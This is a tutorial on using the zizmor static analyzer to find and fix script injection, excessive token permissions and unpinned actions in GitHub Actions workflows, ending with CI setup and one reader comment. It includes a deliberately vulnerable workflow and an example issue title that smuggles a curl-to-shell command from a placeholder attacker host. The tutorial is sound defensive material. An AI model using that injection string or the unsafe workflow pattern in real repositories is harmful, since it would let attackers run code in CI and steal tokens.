Harden Your GitHub Actions Workflows with Zizmor
Catch script injection, excessive permissions, and unpinned actions in your workflow YAML before attackers do.
What you'll learn
You'll run zizmor, a static analyzer for GitHub Actions, against a workflow with three real vulnerability classes: script injection, excessive token permissions, and unpinned actions. Then you'll fix each finding and wire zizmor into CI so regressions get caught on every pull request.
Prerequisites
- zizmor 1.30.1 (current stable, verified for this tutorial)
- A machine with Homebrew,
uv,pipx, orcargo(macOS or Linux; Windows works via the same package managers) - Git, and a repo with at least one workflow under
.github/workflows/if you want to scan your own code instead of the demo file below - Optional: a GitHub account and the
ghCLI for online audits and remote repo scanning
1. Install zizmor
Pick one:
brew install zizmor
# or
uv tool install zizmor
# or
pipx install zizmor
# or
cargo install --locked zizmor
Confirm the version:
zizmor --version
zizmor 1.30.1
2. Create a deliberately vulnerable workflow
Use a scratch repo so you can compare before and after. This workflow greets new issue reporters, and it makes three mistakes that show up constantly in real repos:
mkdir -p zizmor-demo/.github/workflows && cd zizmor-demo && git init
Save this as .github/workflows/greet.yml:
name: Greet contributors
on:
issues:
types: [opened]
jobs:
greet:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v5
- name: Log the new issue
run: |
echo "New issue: ${{ github.event.issue.title }}"
echo "Opened by: ${{ github.event.issue.user.login }}"
3. Run the audit
zizmor --offline .
--offline skips audits that need the GitHub API, so nothing leaves your machine. The scary finding looks like this:
error[template-injection]: code injection via template expansion
--> ./.github/workflows/greet.yml:15:32
|
14 | run: |
| --- this run block
15 | echo "New issue: ${{ github.event.issue.title }}"
| ^^^^^^^^^^^^^^^^^^^^^^^^ may expand into attacker-controllable code
|
= note: audit confidence → High
The summary line reports everything found:
8 findings (3 suppressed, 3 unsafe fixes): 0 informational, 0 low, 2 medium, 3 high
Five findings across four audits. The three that match our planted bugs:
template-injection(high):${{ github.event.issue.title }}expands before the shell runs. Anyone who opens an issue titled"; curl https://evil.example/x | sh; echo "gets their payload pasted straight into your runner's script.excessive-permissions(medium): nopermissions:block, so the job inherits the defaultGITHUB_TOKENgrants. If the injection above lands, the attacker gets a live token with those grants.unpinned-uses(high):actions/checkout@v5is a mutable tag. Whoever controls that tag controls your build, which is exactly how the 2025tj-actions/changed-filescompromise spread: the attacker retagged existing releases to point at malicious code. zizmor's default policy requires hash pinning.
You also get artipacked (low confidence) for free: actions/checkout persists credentials into .git/config by default, where later steps or artifacts can leak them.
The "3 suppressed" are pedantic-tier findings hidden by the default persona. Re-run with --persona=pedantic to see them.
4. Fix all three classes
Replace greet.yml with the hardened version:
name: Greet contributors
on:
issues:
types: [opened]
permissions: {}
jobs:
greet:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- name: Log the new issue
env:
ISSUE_TITLE: ${{ github.event.issue.title }}
ISSUE_AUTHOR: ${{ github.event.issue.user.login }}
run: |
echo "New issue: $ISSUE_TITLE"
echo "Opened by: $ISSUE_AUTHOR"
What changed and why:
- Injection: attacker-controlled values now pass through
env:. The shell reads$ISSUE_TITLEas data at runtime instead of having the raw title spliced into the script text. - Permissions:
permissions: {}at the workflow level drops everyGITHUB_TOKENgrant. Add back only what a specific job needs (this one needs nothing). - Pinning: the action is pinned to the full commit SHA for
actions/checkoutv7.0.1, with the tag kept as a comment so humans and Dependabot can still read it. persist-credentials: falsestops checkout from writing the token to disk.
zizmor can apply some of these itself: zizmor --fix . applies safe fixes in place, and --fix=all includes ones it marks unsafe. Review the diff either way.
5. Add zizmor to CI
Catch regressions on every push with the official zizmor-action. Save as .github/workflows/zizmor.yml:
name: zizmor
on:
push:
branches: ["main"]
pull_request:
branches: ["**"]
permissions: {}
jobs:
zizmor:
runs-on: ubuntu-latest
permissions:
security-events: write
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- uses: zizmorcore/zizmor-action@cc914d7f3750a2d13d75c7f184a1060aa0e9d482 # v0.6.4
By default the action uploads SARIF results to GitHub code scanning, which needs security-events: write (plus contents: read and actions: read on private repos). No Advanced Security on your plan? Add with: { advanced-security: false } and findings print as annotations instead.
Verify it works
Re-run the audit locally:
zizmor --offline .
echo $?
Expected output:
INFO zizmor: 🌈 zizmor v1.30.1
INFO audit: zizmor: 🌈 completed ./.github/workflows/greet.yml
No findings to report. Good job! (2 suppressed)
0
Exit code 0 means clean. Findings map to exit codes 11 through 14 by highest severity (the original run exits 14, for "high"), which is what makes zizmor CI-friendly. In GitHub, check the Actions tab for a green zizmor run, and Security → Code scanning for uploaded results.
Troubleshooting
error: no inputs collected (exit code 3). You pointed zizmor at a path with no workflows, actions, Dependabot, or pre-commit files, or .gitignore rules excluded them all. Point it at the repo root, and use --collect=all if the files are gitignored.
error: can't fetch remote repository: <owner>/<repo> with help: set a GitHub token with --gh-token or GH_TOKEN. Scanning a remote slug like zizmor pypa/sampleproject requires API access. Run zizmor --gh-token $(gh auth token) pypa/sampleproject, or export GH_TOKEN.
unpinned-uses still fires on actions/checkout@v7. Tags aren't hashes; the default blanket policy wants full commit SHAs for everything. Pin with the SHA (gh api repos/actions/checkout/git/ref/tags/v7.0.1 --jq .object.sha), or relax the policy per-source in .github/zizmor.yml.
A finding is a false positive for your setup. Ignore it in config rather than turning the audit off:
rules:
template-injection:
ignore:
- greet.yml:15
Put that in .github/zizmor.yml; the summary line then reports it as ignored.
Next steps
Read the audit rules reference for the full catalog, including dangerous-triggers (flags pull_request_target misuse, the other big injection vector) and secrets-inherit. Try --persona=auditor for maximum paranoia, and --format=sarif or --format=github for other pipelines. zizmor also audits Dependabot configs, composite actions, and pre-commit setups; run it across your whole org with remote slugs once you've got a token wired up.
Sources & further reading
- Usage - zizmor — docs.zizmor.sh
- Audit Rules - zizmor — docs.zizmor.sh
- Installation - zizmor — docs.zizmor.sh
- Configuration - zizmor — docs.zizmor.sh
- zizmor-action: Run zizmor from GitHub Actions — github.com
- zizmor v1.30.1 release — github.com
Ji-ho covers the increasingly tangled overlap between cloud architecture and security, drawing on a background as a penetration tester to keep his reporting grounded in real-world attack paths. He never lets a vendor claim go unquestioned and insists that every buzzword come with a proof of concept.
Discussion 1
we did this with custom shell scripts and perl regexes in 2008 because, well, we had to. glad to see someone packaged it properly—unpinned actions especially are the new version of 'shipping with default credentials.' the fact that this catches injection vectors in the workflow yaml itself (not just runtime) is the useful part.